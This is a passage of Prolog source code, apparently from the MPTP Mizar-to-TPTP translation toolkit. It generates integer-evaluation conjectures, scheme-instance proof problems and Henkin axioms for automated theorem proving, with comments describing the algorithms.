RealDiff),\n\treq_RealDiv(MmlVersion, RealDiv),\n\treq_LessOrEqual(MmlVersion, LessOrEqual),\n\n\tassert(constr_name(RealAdd,$plus_int,0)),\n\tassert(constr_name(RealMult,$times_int,0)),\n\tassert(constr_name(RealNeg,$uminus_int,0)),\n\tassert(constr_name(RealDiff,$minus_int,0)),\n\tassert(constr_name(RealDiv,$divide_int,0)),\n\tassert(constr_name(LessOrEqual,$lesseq_int,0)).\n\n%% argument is a rational number incoding an integer\nis_int_rat(r(_,1)).\n\n%% print_int_evals(Names)\n%%\n%% Print arithmetical evaluations involving only integers to stdout,\n%% using the suggested TPTP syntax.\n%%\n%% ##TEST: :- declare_mptp_predicates,load_mml,print_int_evals(_).\nprint_int_evals(Names):-\n\tmml_version(MmlVersion),\n\tretract_tptp_int_names(MmlVersion),\n\tassert_tptp_int_names(MmlVersion),\n\tfindall(L,(\n\t\t   current_atom(L),\n\t\t   atom_concat(rq,L1,L),\n\t\t   concat_atom([_,_,_|_],'__',L1),\n\t\t   decode_eval_name(L, Req, Constructor, MizNumbers, RatNrs),\n\t\t   Req \\= rqRealInv,\n\t\t   Req \\= rqSucc,\n\t\t   checklist(is_int_rat,RatNrs),\n\t\t   create_eval_fla(Req, Constructor, MizNumbers, RatNrs, Fla),\n\t\t   print(fof(L,conjecture, Fla)),\n\t\t   write('.'),nl\n\t\t  ),\n\t\tNames).\n\n%%%%%%%%%%%%%%% generating scheme instances  %%%%%%%%%%%%%%%%%%%%%%%\n\n%% get_sym_subst(+SchemeSymbol,+SubstitutionList,-Substitution)\n%%\n%% find the corresponding subst for X, throw exception if not;\n%% X is assumed to be a scheme functor or predicate\n%% note that copy_term is used here to always refresh the\n%% possible \"unification\" variables, which will later get\n%% instantiated to different arguments\nget_sym_subst(X,[],_):- !, throw(sch_subst(X)).\nget_sym_subst(X,[Z/Y|_],Subst):- X == Z, !, copy_term(X/Y, Subst).\nget_sym_subst(X,[_|T],Subst):- get_sym_subst(X,T,Subst).\n\n%% apply_sch_subst0(+SchemeSymbol,+Substitution,-Value)\n%%\n%% Apply one substitution to SchemeSymbol, yielding Value.\n%%\n%% SchemeSymbol is assumed to be a scheme functor or predicate,\n%% without any arguments.\napply_sch_subst0(Sym,Sym/([]:Val),Val):- !.\napply_sch_subst0(Sym,Sym/([H|T]:Val),Val):- !,throw(sch_subst(Sym,[H|T]:Val)).\napply_sch_subst0(Sym,Sym/Val,Val):-!.\napply_sch_subst0(Sym,Subst,_):- throw(sch_subst(Sym,Subst)).\n\n%% apply_sch_subst1([+SchemeSymbol|+Args],+Substitution,-Value)\n%%\n%% Apply  one Substitution to a SchemeSymbol with Args, yielding\n%% Value. Args must be unifiable with the parameter list of\n%% Substitution if given. If the parameter list is not given, we\n%% assume that the SchemeSymbol corresponds directly to other\n%% constructor, and apply the constructor directly to the Args.\napply_sch_subst1([Sym|Args],Sym/(Vars:Val),Val):- !,\n\t(Vars = Args,!; throw(sch_subst(Sym,Vars:Val))).\n\napply_sch_subst1([Sym|Args],Sym/Val,Val1):- Val1 =.. [Val|Args],!.\napply_sch_subst1(Sym,Subst,_):- throw(sch_subst(Sym,Subst)).\n\n\n%% apply_sch_substs(+Substs,+Fla,-Fla1)\n%%\n%% applies scheme substitutions to Fla, throwing exception\n%% if no substitution for any scheme symbol in Fla does not exist\n\napply_sch_substs_top(Substs,Fla,Fla1):-\n\tapply_sch_substs(Substs,Fla,Fla1), !.\n\n%% end of traversal\napply_sch_substs(_,X,X):- var(X),!.\napply_sch_substs(Substs,X1,X2):- atomic(X1), sch_symbol(X1), !,\n\tget_sym_subst(X1,Substs,Subst),\n\tapply_sch_subst0(X1,Subst,X2).\n\napply_sch_substs(_,X,X):- atomic(X),!.\n\napply_sch_substs(Substs,X1,X2):- X1 =.. [H1|T1], sch_symbol(H1), !,\n\tmaplist(apply_sch_substs(Substs),T1,T2),\n\tget_sym_subst(H1,Substs,Subst),\n\tapply_sch_subst1([H1|T2],Subst,X2).\n\napply_sch_substs(Substs,X1,X2):-\n\tX1 =.. [H1|T1],\n\tmaplist(apply_sch_substs(Substs),T1,T2),\n\tX2 =.. [H1|T2].\n\n%% add_univ_context(+VarDecls,+FlaIn,-FlaOut)\n%%\nadd_univ_context([],Fla,Fla).\nadd_univ_context([H|T], Fla, ( ! [H|T] : ( Fla) )).\n\n%% gen_sch_instance(?SchInstName,?File,-Res,+Options)\n%%\n%% Generate a scheme instance SchInstNam as fof with the same\n%% level (that is []) as the original scheme.\n%% If opt_REM_SCH_CONSTS is passed in Options, all local\n%% constants inside the instance are generalized to universally\n%% quantified variables.\n%% Why does generalizing of local constants yield a valid theorem\n%% in this case:\n%% - the constants never appear in the original scheme, and what we\n%%   have is its instance (which involves only type checking, no\n%%   special knowledge about the constant); therefore any object\n%%   (with the same type) can be used at the place of the constant.\n%%\n%% ##NOTE: fraenkels in schemes are already deanonymized here, therefore\n%%       we have to check sch_orig_copy/2 for instantiation: incase the\n%%       original scheme contained a fraenkel, we'll use the original.\n%%       This assumes that fraenkels will be abstracted after this (which is true).\ngen_sch_instance(SI_Name,F,Res,Options):-\n\tfof(Ref,_,_,file(F,_),\n\t    [MPTPInfo,inference(mizar_from,InferInfo,_Refs)|_]),\n\tmember(scheme_instance(SI_Name,S_Name,Ref,_,Substs), InferInfo),\n\tMPTPInfo= mptp_info(_Nr,Lev,_Kind,Pos,_Args),\n\tonce((sch_orig_copy(S_Name,Fla); fof(S_Name,theorem,Fla,_,_))),\n\tcopy_term(Fla,Tmp),\n\tapply_sch_substs_top(Substs,Tmp,Fla0),\n\t(member(opt_REM_SCH_CONSTS,Options) ->\n\t    generalize_consts(Fla0, Tmp2, UnivContext, _ ),\n\t    add_univ_context(UnivContext, Tmp2, Fla1),\n\t    Lev1 = []\n\t;\n\t    Fla1 = Fla0, Lev1 = Lev\n\t),\n\tRes = fof(SI_Name,theorem, Fla1, file(F,SI_Name),\n\t\t  [mptp_info(0,Lev1,scheme_instance,Pos,[]),\n\t\t   inference(mizar_sch_instance,InferInfo,[S_Name])]).\n\n%% How to generate a proof of the scheme instance from the original scheme\n%% proof:\n%% method I:\n%% 1. generate the instance without generalization\n%% 2. replace the scheme symbols everywhere in the original proof by their\n%%    instances (the same process as for the instance)\n%% 3. generalize the instance - this yields a constant-to-var substitution,\n%%    and a universal context\n%% 4. apply the substitution (apply_const_substs) to all proof references\n%%    (actually first collect all other local consts from the references,\n%%     and enrich the substitution by identity on them, otherwise\n%%     get_const_subst will throw exception on them),\n%% 5. add the universal context to all the proof references (can be optimized,\n%%    to add only the needed subcontext)\n%%\n%% method II.\n%% 1. generate the instance without generalization\n%% 2. generalize it, yielding the constant substitution, and the univ context\n%% 3. compose the scheme instance subst with the constant subst\n%% 4. apply just this composed subst (i.e. pass only once), and also add the context\n%%\n%% Note: tricky business, be sure to do copy_term on the substitution each time\n%%       before using it\n%%\n%% Technicalities:\n%% - the nasmespace for local constants from different articles is now not\n%%   separated - this makes loading of the \"scheme article\" on demand impossible,\n%%   while the \"scheme instance article\" is loaded;\n%% - solution: when creating article problems ...\n%% - are there problems with computing background?:\n%%   - yes, if we only loaded the\n%%   \"scheme article's BG, then we cannot first instantiate,\n%%   and then compute BG, because the instantiation possibly contains constructors\n%%   which are not in the BG; however, we always load full MML; this leaves\n%%   out BG info only for the \"scheme instance article\" (if local consts are\n%%   generalized);\n%%   - if we first compute BG, it may be smaller, since the instances symbols will\n%%   not interact with the set of symbols involved in the scheme's proof;\n%%   however, we'll need to remove the facts about the original scheme functors and\n%%   preds, and add typing BG for the instances symbols instead\n\n%% the algo for creating the high-level (not ND) reproving problems is\n%% actually simple\n%% - generate the reproving problem for the original scheme;\n%%   that problem contains top-level references (top lemmas,\n%%   theorems, defs, scheme instances), possibly fraenkel defs,\n%%   typing info about the scheme functors and predicates, and\n%%   other top-level background (even if a top-level constant\n%%   typing is there, we should be OK, since this is done for the\n%%   article with the original scheme)\n%% - if another scheme instance is used in the proof, apply the\n%%   substitutions to the scheme functors\n%% - but in addition to the standard filtering of sublevel references,\n%%   filter also all the typing info for the scheme functors\n%% - compute background for the generalized scheme instance; it needs\n%%   to be done in the context of the instance article\n\n%% - add to the top-level symbol set the symbols from the scheme instance\n%%   (actually those from the generalized-consts version should be enough)\n%% - rerun\n\n\n%% get_top_scheme_instances_for(+Problem, -SchInstances)\n%%\n%% Generates the chains of scheme instances for the Problem.\n%% Allowed problems must be top-level. The chains can be later re-used for\n%% constructing proper proofs of the instances.\n%% Following generates the chains of scheme instances for the MPTP Challenge:\n%% ##TEST: :- get_top_scheme_instances_for(l37_yellow19, SchInstances), write(SchInstances),length(SchInstances,N).\n%% Follwing writes only the top-level scheme instances (useful as input for\n%% mk_sch_instance_problem_from_th_top_l)\n%% ##TEST: :- get_top_scheme_instances_for(l37_yellow19, SchInstances),\n%%            findall(S,(member(SL,SchInstances),length(SL,N),N1 is N - 1, nth1(N1,SL,S)),Tops1),\n%%\t      sort(Tops1,Tops), write(Tops),length(Tops,L1).\nget_top_scheme_instances_for(Problem, SchInstances):-\n\tdeclare_mptp_predicates,load_mml,load_lemmas,\n\tinstall_index,\n\tget_top_scheme_instances_for1(Problem, [], [], SchInstances, _).\nget_top_scheme_instances_for1(Problem, _SchAncestors, DoneThsIn, [], DoneThsIn):-\n\tmember(Problem, DoneThsIn),!.\nget_top_scheme_instances_for1(Problem1, SchAncestors, DoneThsIn, SchInstances, DoneThsOut):-\n\t(\n\t  Problem1 = [Problem, ProbSchInst],!\n\t;\n\t  Problem = Problem1\n\t),\n\tget_ref_fof(Problem, fof(_,_,_,_,Info)),\n\tInfo = [_, inference(_,_,ARefs0) |_ ],\n\tfindall(ARef0,\n\t\t(\n\t\t  member(ARef0,ARefs0),\n\t\t  atom_chars(ARef0,[C1|Cs1]),\n\t\t  member(C1,[t,l])\n\t\t),\n\t\tTopThRefs1\n\t       ),\n\tsort(TopThRefs1, TopThRefs2),\n\tsubtract(TopThRefs2, DoneThsIn, TopThRefs),\n\tfindall([ARef2, ARef0],\n\t\t(\n\t\t  member(ARef0,ARefs0),\n\t\t  atom_chars(ARef0,[s|Cs1]),\n\t\t  fix_sch_ref(ARef0,[s|Cs1],ARef2)\n\t\t),\n\t\tTopSchPairs\n\t       ),\n\t(\n\t  Problem1 = [Problem, ProbSchInst] ->\n\t  NewDone = DoneThsIn,\n\t  NewSchAncestors = [ ProbSchInst | SchAncestors]\n\t;\n\t  NewDone = [Problem|DoneThsIn],\n\t  NewSchAncestors = [ Problem ]\n\t),\n\tzip(_TopSchRefs, TopSchInsts, TopSchPairs),\n\tget_top_scheme_instances_for1_l(TopThRefs, [], NewDone, SchInsts1, DoneThsOut1),\n\tget_top_scheme_instances_for1_l(TopSchPairs, NewSchAncestors, DoneThsOut1, SchSchInsts1, DoneThsOut),\n\tfindall([SchInst | NewSchAncestors], member(SchInst, TopSchInsts), TopSchInsts1),\n\tappend(TopSchInsts1, SchInsts1, SchInsts2),\n\tappend(SchInsts2, SchSchInsts1, SchInstances).\n\nget_top_scheme_instances_for1_l([], _, DoneThsIn, [], DoneThsIn).\nget_top_scheme_instances_for1_l([H|T], SchAncestors, DoneThsIn, SchInstances, DoneThsOut):-\n\tget_top_scheme_instances_for1(H, SchAncestors, DoneThsIn, SchInstances1, DoneThsOut1),\n\tget_top_scheme_instances_for1_l(T, SchAncestors, DoneThsOut1, SchInstances_l, DoneThsOut),\n\tappend(SchInstances1, SchInstances_l, SchInstances).\n\n\n% mk_rec_sch_instance_problem_from_th(SI_Name,Options, SubstStackIn, NewSubstStack, SchInstsToDo):-\n%\tmk_sch_instance_problem_from_th(SI_Name,Options, SubstStackIn, NewSubstStack, SchInstsToDo).\n\nmk_sch_instance_problem_from_th_l(_Ancestors, [], _Options, _SubstStackIn).\nmk_sch_instance_problem_from_th_l(Ancestors, [SI_Name |T], Options, SubstStackIn):-\n\tmk_sch_instance_problem_from_th(Ancestors,SI_Name,Options, SubstStackIn, _NewSubstStack,\n\t\t\t\t\t_NewAncestors, _SchInstsToDo),\n\tmk_sch_instance_problem_from_th_l(Ancestors, T, Options, SubstStackIn).\n\nmk_sch_instance_problem_from_th_top(SI_Name,Options):-\n\tabolish(rec_sch_inst_name/2),\n\tdynamic(rec_sch_inst_name/2),\n\tmk_sch_instance_problem_from_th([],SI_Name,Options, [],\n\t\t\t\t\t_NewSubstStack, _NewAncestors, _SchInstsToDo).\n\n%% Following creates all scheme instance problems for MPTP Challenge (note that it also\n%% creates instances of tarski, which are axioms (not provable) - those problems\n%% should be removed\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,\n%%      A=[s1_ordinal1__e8_6__wellord2,s1_ordinal2__e18_27__finset_1,s1_relat_1__e6_21__wellord2,\n%%\ts1_wellord2__e6_39_3__yellow19,s1_xboole_0__e4_27_3_1__finset_1,s1_xboole_0__e6_22__wellord2,\n%%\ts1_xboole_0__e6_27__finset_1,s2_finset_1__e11_2_1__waybel_0,s2_funct_1__e10_24__wellord2,\n%%\ts2_funct_1__e4_7_1__tops_2,s2_funct_1__e4_7_2__tops_2,s3_funct_1__e16_22__wellord2,\n%%\ts3_subset_1__e1_40__pre_topc,s3_subset_1__e2_37_1_1__pre_topc],\n%%       mk_sch_instance_problem_from_th_top_l(A,[opt_MK_TPTP_INF, opt_REM_SCH_CONSTS]).\nmk_sch_instance_problem_from_th_top_l(SI_Names,Options):-\n\tabolish(rec_sch_inst_name/2),\n\tdynamic(rec_sch_inst_name/2),\n\tmk_sch_instance_problem_from_th_l([],SI_Names,Options, []).\n\n%% The main procedure for creating problems from layered scheme instances.\n%% The NewSubstStack, NewAncestors, and SchInstsToDo are now unused as output\n%% parameters ( could be changed in the future).\n%% ##TODO: Should be (much) improved in terms of efficiency (minimize the number of\n%% full article reloadings for a set of schemes!!).\n%% ##TODO: enhance to create an ND version for GDV (possible way: use new dummy\n%%         scheme functors/predicates for outputing the main scheme ND proof, then\n%%         just add equivalence to their instances and verify the instances' typing)\nmk_sch_instance_problem_from_th(Ancestors,SI_Name,Options, SubstStackIn, NewSubstStack, NewAncestors, SchInstsToDo):-\n\tensure(concat_atom([S_Name, Problem1, InstArticle], '__', SI_Name), schinst_name(SI_Name)),\n\tget_sch_inst_name(Ancestors, SI_Name, SchInstName),\n\tprint([SI_Name, SchInstName, Ancestors]), nl,\n\tget_ref_fof(S_Name, fof(S_Name,_,Fla,file(SchArticle,_),SchInfo)),\n\tSchInfo = [mptp_info(_,_,_,_,_), inference(_,_,SchRefs) | _],\n\tfindall(SchInst1,\n\t\t(\n\t\t  member(SchInst1, SchRefs),\n\t\t  atom_concat('s', _, SchInst1)\n\t\t),\n\t\tSchInstsToDo\n\t       ),\n\t%% print the background and conjecture created from the InstArticle,\n\t%% also create the substitutions and the UnivContext\n\tload_proper_article(InstArticle, Options, PostLoadFiles),\n\tfof(Problem1,_,_,file(InstArticle,_),\n\t    [MPTPInfo,inference(mizar_from,InferInfo,_Refs)|_]),\n\tMPTPInfo = mptp_info(_,_,_,position(InstLine0, InstCol0),_),\n\tmember(scheme_instance(SI_Name,S_Name,_Ref,_,Substs), InferInfo),\n\t(\n\t    member(position(InstLine,InstCol), InferInfo) -> true\n\t;\n\t    InstLine = InstLine0,\n\t    InstCol = InstCol0\n\t),\n\tzip_s('/',SchFuncsAndPreds,_SchInsts,Substs),\n\tcopy_term(Fla,Tmp),\n\tapply_sch_substs_top(Substs,Tmp,Fla0),\n\t(member(opt_REM_SCH_CONSTS,Options) ->\n\t    generalize_consts(Fla0, Tmp2, UnivContext, NewConstSubst),\n\t    add_univ_context(UnivContext, Tmp2, Fla1_1)\n\t;\n\t    ensure(fail, bad_sch_inst_options(Options))\n\t),\n\t(\n\t  Ancestors = [] -> BGArticle = InstArticle, Problem = Problem1, BGPostLoadFiles = PostLoadFiles\n\t;\n\t  last(Ancestors, [Problem, BGArticle]),\n\t  retractall(fof(_,_,_,file(InstArticle,_),_)),\n\t  load_files(PostLoadFiles,[silent(true)]),\n\t  load_proper_article(BGArticle, Options, BGPostLoadFiles)\n\t),\n\tprint([SubstStackIn, Fla1_1]),\n\tinstantiate_and_gen_sch_inst_many(SubstStackIn, Fla1_1, Fla1), write(hehe),nl,\n\tprint(Fla1),nl,\n\n\tcollect_symbols_top( Fla1, Syms1),\n\tNewSubstStack = [[UnivContext, NewConstSubst, Substs] | SubstStackIn],\n\tNewAncestors = [[Problem1,InstArticle] | Ancestors],\n%\tzip(AncProblems,AncArticles,NewAncestors),\n%\tconcat_atom(AncProblems,'__',OutName1),\n\tOutName1 = SchInstName,\n\tensure(article_position(Problem, Pos1), throw(article_position(Problem))), write(haha),\n\tonce(fixpoint(BGArticle, [Pos1, []], mizar_from, [], [], Syms1, AllRefs)),\n\tconcat_atom([problems,'/',dummy_schinst,'_',OutName1],Outfile),\n\ttell(Outfile),\n\tformat('% Mizar problem: ~w,~w,~w,~w,~w ~n', [SI_Name,InstArticle,InstLine,InstCol,Ancestors]),\n\twrite('% scheme substs: '),\n\tprint(Substs), nl,\n\twrite('% constant substs: '),\n\tprint(NewConstSubst), nl,\n\twrite('% subst stack: '),\n\tprint(SubstStackIn), nl,\n\tdelete(AllRefs, SI_Name, ProperRefs1),\n\n\tcopy_term(Fla1, Fla11),\n\tsort_transform_top(Fla11,SR2),\n\tnumbervars(SR2,0,_),\n\tprint(fof(SchInstName,conjecture,SR2,file(BGArticle,SchInstName),[])),\n\twrite('.'), nl,\n\n%\tprint_ref_as_conjecture(Options, [], SI_Name),\n\tchecklist(print_ref_as_axiom(Options), ProperRefs1),\n\twrite('%%% end of instance refs'), nl,\n\ttold,\n\tretractall(fof(_,_,_,file(BGArticle,_),_)),\n\tload_files(BGPostLoadFiles,[silent(true)]),\n\t%% now print the scheme proof\n\t%% the scheme functor axioms are filtered away (replaced by type inference\n\t%% on their instances),\n\tload_proper_article(SchArticle, Options, SchPostLoadFiles),\n\tmk_problem_data(_,SchArticle,dummy,[[mizar_proof],\n\t\t\t\t\t     [scheme], problem_list([S_Name])],\n\t\t\t\t Options,_Outfile,_Line,_Col,SchAllRefs),\n\tget_sec_info_refs([], SchFuncsAndPreds,\n\t\t\t  [mptp_info(_,_,functor,_,[scheme,type|_])|_], SchFuncTyps),\n\tdelete(SchAllRefs, S_Name, SchProperRefs1),\n\tsubtract(SchProperRefs1, ProperRefs1, SchNewProperRefs0),\n\tsubtract(SchNewProperRefs0, SchFuncTyps, SchNewProperRefs2),\n\tsubtract(SchNewProperRefs2, SchInstsToDo, SchNewProperRefs1),\n\tmaplist(mk_sch_inst_name(NewAncestors), SchInstsToDo, _NewSchInstsNames),\n\tappend(Outfile),\n\tchecklist(rec_instantiate_and_gen_sch_inst(NewSubstStack, Options, NewAncestors), SchInstsToDo),\n\tchecklist(print_ref_as_axiom(Options), SchNewProperRefs1),\n\tretractall(fof(_,_,_,file(SchArticle,_),_)),\n\tload_files(SchPostLoadFiles,[silent(true)]),\n\ttold,\n\tmk_sch_instance_problem_from_th_l(NewAncestors,SchInstsToDo,Options,NewSubstStack).\n\n\n%% get_sch_inst_name(+Ancestors, +SchInst, -SchInstName)\n%%\n%% assumes that we are inside mk_sch_instance_problem_from_th,\n%% and that nontrivial (i.e. layered scheme instance) names were\n%% already created by call to mk_sch_inst_name, and are available\n%% in rec_sch_inst_name/2\nget_sch_inst_name([], SchInst, SchInst).\nget_sch_inst_name([H | T], SchInst, SchInstName):-\n\tlast([H | T], [Problem, BGArticle]),\n\tconcat_atom([S_Name, _Problem1, _InstArticle], '__', SchInst),\n\tconcat_atom([S_Name, Problem, BGArticle], '__', SchInst1),\n\trec_sch_inst_name(SchInst1,N),\n\tconcat_atom([SchInst1, '__', N], SchInstName).\n\n%% mk_sch_inst_name(+Ancestors, +SchInst, -SchInstName)\n%%\n%% create a name for a layered scheme instance, store it\n%% using rec_sch_inst_name/2\n%%\n%% mk_sch_inst_name([], SchInst, SchInst).\nmk_sch_inst_name( [H | T], SchInst, SchInstName):-\n\tlast([H | T], [Problem, BGArticle]),\n\tconcat_atom([S_Name, _Problem1, _InstArticle], '__', SchInst),\n\tconcat_atom([S_Name, Problem, BGArticle], '__', SchInst1),\n\t(\n\t  retract(rec_sch_inst_name(SchInst1,N)) ->\n\t  N1 is N + 1\n\t;\n\t  N1 = 1\n\t),\n\tassert(rec_sch_inst_name(SchInst1,N1)),\n\tconcat_atom([SchInst1, '__', N1], SchInstName).\n\n\n%% rec_instantiate_and_gen_sch_inst(+SubstStack, +Options, +Ancestors, +SchInst)\n%%\n%% Instantiate a scheme SchInst using the stack of substitutions SubstStack.\n%% The Options and Ancestors serve only for printing info.\nrec_instantiate_and_gen_sch_inst(SubstStack, Options, Ancestors, SchInst):-\n\tget_ref_fof(SchInst, fof(SchInst,_,Fla,Q3,Q4)),\n\tensure(get_sch_inst_name(Ancestors, SchInst, SchInstName), get_sch_inst_name(SchInst)),\n\tinstantiate_and_gen_sch_inst_many(SubstStack, Fla, FlaOut),\n\tsort_transform_top(FlaOut,SR2),\n\tnumbervars([SR2,Q3,Q4],0,_),\n\tStatus = axiom, QQ3 = Q3, QQ4= [],\n\t(member(opt_MK_TPTP_INF,Options) ->\n\t    print(fof(SchInstName,Status,SR2,QQ3,QQ4))\n\t;\n\t    print(fof(SchInstName,Status,SR2,Q3,Q4))\n\t),\n\twrite('.'),\n\tnl.\n\n\n%% perform %% instantiate_and_gen_sch_inst/5 multiple times\ninstantiate_and_gen_sch_inst_many([], FlaIn, FlaIn).\ninstantiate_and_gen_sch_inst_many([[UnivContext, NewConstSubst, Substs] | OldSubstStack], FlaIn, FlaOut):-\n\tcopy_term(FlaIn,Tmp),\n\tcopy_term([UnivContext,NewConstSubst], [FreshUnivContext, FreshConstSubst]),\n\tapply_sch_substs_top(Substs,Tmp,Fla0),\n\tapply_const_substs(FreshConstSubst, Fla0, Fla1),\n\tadd_univ_context(FreshUnivContext, Fla1, FlaOut1),\n\tinstantiate_and_gen_sch_inst_many(OldSubstStack, FlaOut1, FlaOut).\n\n%% instantiate_and_gen_sch_inst(+UnivContext, +NewConstSubst, +Substs, +FlaIn, -FlaOut)\n%%\n%% Apply a scheme substitution Substs to FlaIn, then apply constant substitutions\n%% in NewConstSubst to the result, and add the UnivContext to it.\ninstantiate_and_gen_sch_inst(UnivContext, NewConstSubst, Substs, FlaIn, FlaOut):-\n\tcopy_term(FlaIn,Tmp),\n\tcopy_term([UnivContext,NewConstSubst], [FreshUnivContext, FreshConstSubst]),\n\tapply_sch_substs_top(Substs,Tmp,Fla0),\n\tapply_const_substs(FreshConstSubst, Fla0, Fla1),\n\tadd_univ_context(FreshUnivContext, Fla1, FlaOut).\n\n%% get_problem_sch_insts_from_article(+Article, +ProblemPairs, +Options, -SI_Names, topRefs)\n%%\n%% Get scheme instances from problems (generated with Options) in ProblemPairs\n%% corresponding to Article.\n%% Not used now, but an example of using mk_problem_data.\nget_problem_sch_insts_from_article(A, Pairs, Options, SI_Names, topRefs):-\n\tfindall(P, member([A,P], Pairs), AList),\n\tload_proper_article(A, Options, PostLoadFiles),\n\tfindall(SI_Name,\n\t\t(\n\t\t  mk_problem_data(_,A,dummy,[[mizar_by,mizar_from,mizar_proof],\n\t\t\t\t\t     [theorem, top_level_lemma], problem_list(AList)],\n\t\t\t\t Options,_Outfile,_Line,_Col,AllRefs),\n\t\t  member(SI_Name, AllRefs),\n\t\t  atom_chars(SI_Name, [s, Digit | _]),\n\t\t  digit(Digit)\n\t\t),\n\t\tSI_Names\n\t       ),\n\t%% retract current file but return mml parts,\n\tretractall(fof(_,_,_,file(A,_),_)),\n\tload_files(PostLoadFiles,[silent(true)]).\n\n%% create and assert all scheme instances for a given article\nassert_sch_instances(File,Options):-\n\trepeat,\n\t( gen_sch_instance(_,File,Res,Options), assert(Res), fail; true).\n\n\n%%%%%%%%%%%% Creating henkin axioms %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n\n%% create and assert all henkin axioms for a given article\nassert_henkin_axioms(File,_Options):-\n\trepeat,\n\t(\n\t  fof_file(File,Id),\n\t  clause(fof(Ref,_,_,file(File,Ref),[Mptp_info|Rest]),_,Id),\n\t  (member(mizar_nd(inference(let,_,Refs0)), Rest) ->\n\t      append(Defs,[T],Refs0),\n\t      %% remove possible thesisexpansions\n\t      findall(Hax,(member(Hax,Defs),atom_prefix(Hax,'dh_')),Henkin_Refs),\n\t      create_henkin_axioms_let_top(Henkin_Refs,T,HaFofs)\n\t  ;\n\t      Mptp_info = mptp_info(_,_,_,_,[_,_,considered_constants(HC)|_]),\n\t      maplist(atom_concat('dh_'),HC,Henkin_Refs),\n\t      create_henkin_axioms_consider_top(Henkin_Refs,Ref,HaFofs)\n\t  ),\n\t  checklist(assert,HaFofs),\n\t  fail\n\t;\n\t  true\n\t).\n/*\n   example:\n   fof(t2_abcmiz_0,theorem,![B1: l1_abcmiz_0]: ![B2: l1_abcmiz_0]: ( ( ( u1_abcmiz_0(B1) = u1_abcmiz_0(B2) ) & sort(B1,v4_abcmiz_0) ) => ( sort(B2,v4_abcmiz_0) ) ),file(abcmiz_0,t2_abcmiz_0),[mptp_info(2,[],theorem,position(257,37),[0,mizar_item(justifiedtheorem)]),inference(mizar_proof,[proof_level([14])],[d4_abcmiz_0,e2_14,e1_14,d4_abcmiz_0]),mizar_nd(inference(let,[],[dh_c1_14,dh_c2_14,i1_14]))]).\n fof(dt_c1_14,assumption,sort(c1_14,l1_abcmiz_0),file(abcmiz_0,c1_14),[mptp_info(1,[14],constant,position(0,0),[let,type])]).\n fof(dt_c2_14,assumption,sort(c2_14,l1_abcmiz_0),file(abcmiz_0,c2_14),[mptp_info(2,[14],constant,position(0,0),[let,type])]).\n fof(i1_14,thesis,( ( ( u1_abcmiz_0(c1_14) = u1_abcmiz_0(c2_14) ) & sort(c1_14,v4_abcmiz_0) ) => ( sort(c2_14,v4_abcmiz_0) ) ),file(abcmiz_0,i1_14),[mptp_info(1,[14],thesis,position(0,0),[]),mizar_nd(inference(discharge_asm,[discharged([e1_14])],[i2_14]))]).\n\n algo for \"let\":\n 1. get the ND inference references, i.e. [dh_c1_14,dh_c2_14,i1_14]\n 2. look up the used referred thesis, i.e. i1_14\n    (cannot use the orig. thesis, i.e. t2_abcmiz_0, because of thesis expansions)\n 3. look up the sort declaration, i.e.  dt_c1_14,dt_c2_14\n 4. create henkin axiom for the last constant, i.e.\n 4a. replace the last (n-th) constant everywhere with a new variable V_n (V2),\n     yielding GenThes_, i.e.:\n     GenThes_n = ( ( u1_abcmiz_0(c1_14) = u1_abcmiz_0(V2) ) & sort(c1_14,v4_abcmiz_0) )\n     => ( sort(V2,v4_abcmiz_0) )\n 4b. add the universal quantifier, with the n-th constant's sort,\n     yielding UnivGenThes_n,i.e.:\n     UnivGenThes_ = ![V2:  l1_abcmiz_0] : GenThes1\n 4c. create the implication (Sort => Thesis) => UnivGenThes_n, i.e.:\n     (sort(c1_14,l1_abcmiz_0)\n      =>\n      ( ( ( u1_abcmiz_0(c1_14) = u1_abcmiz_0(c2_14) ) & sort(c1_14,v4_abcmiz_0) )\n         => sort(c2_14,v4_abcmiz_0) )\n     )\n     => ![V2:  l1_abcmiz_0] : GenThes_n\n 4d. the result ((Sort => Thesis) => UnivGenThes_n) is the henkin axiom for the last (n-th) constant,\n     here for c2_14, i.e dh_c2_14\n 5.  iterate for the rest of the constants, taking UnivGenThes_{n+1} instead of\n     thesis for n-th constant\n\n\n fof(dt_c1_25_1_1,lemma_conjecture,sort(c1_25_1_1,( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 )),file(abcmiz_0,c1_25_1_1),[mptp_info(1,[25,1,1],constant,position(0,0),[consider,type]),mizar_nd(inference(consider,[],[dh_c1_25_1_1,e1_25_1_1]))]).\n fof(dt_c2_25_1_1,lemma_conjecture,sort(c2_25_1_1,( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )),file(abcmiz_0,c2_25_1_1),[mptp_info(2,[25,1,1],constant,position(0,0),[consider,type]),mizar_nd(inference(consider,[],[dh_c1_25_1_1,dh_c2_25_1_1,e1_25_1_1]))]).\n fof(dt_c3_25_1_1,lemma_conjecture,sort(c3_25_1_1,( v1_funct_1 & v1_funct_2(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(c2_25_1_1))) & m2_relset_1(u1_struct_0(c1_25_1_1),k5_finsub_1(u1_abcmiz_0(c2_25_1_1)))\n )),file(abcmiz_0,c3_25_1_1),[mptp_info(3,[25,1,1],constant,position(0,0),[consider,type]),mizar_nd(inference(consider,[],[dh_c1_25_1_1,dh_c2_25_1_1,dh_c3_25_1_1,e1_25_1_1]))]).\n\n fof(e1_25_1_1,lemma_conjecture,?[B1: ( ~ v3_struct_0 & v3_realset2 & v2_orders_2 & l1_orders_2 )]: ?[B2: ( ~ v4_abcmiz_0 & v5_abcmiz_0 & v6_abcmiz_0 & l1_abcmiz_0 )]: ?[B3: ( v1_funct_1 & v1_funct_2(u1_struct_0(B1),k5_finsub_1(u1_abcmiz_0(B2))) & m2_relset_1(u1_struct_0(B1),k5_finsub_1(u1_abcmiz_0(B2))) )]: $true,file(abcmiz_0,e1_25_1_1),[mptp_info(1,[25,1,1],proposition,position(408,68),[0,mizar_item(consider_justification),considered_constants([c1_25_1_1,c2_25_1_1,c3_25_1_1])]),inference(mizar_by,[],[])]).\n\n\n algo for \"consider\":\n 1. get the ND inference references, i.e. [dh_c1_25_1_1,e1_25_1_1]\n 2. complete the constant list, using the considered_constants slot of the last reference (Just)\n     (i.e. e1_25_1_1) to the full list, i.e. c1_25_1_1,c2_25_1_1,c3_25_1_1\n 3. look up the sort 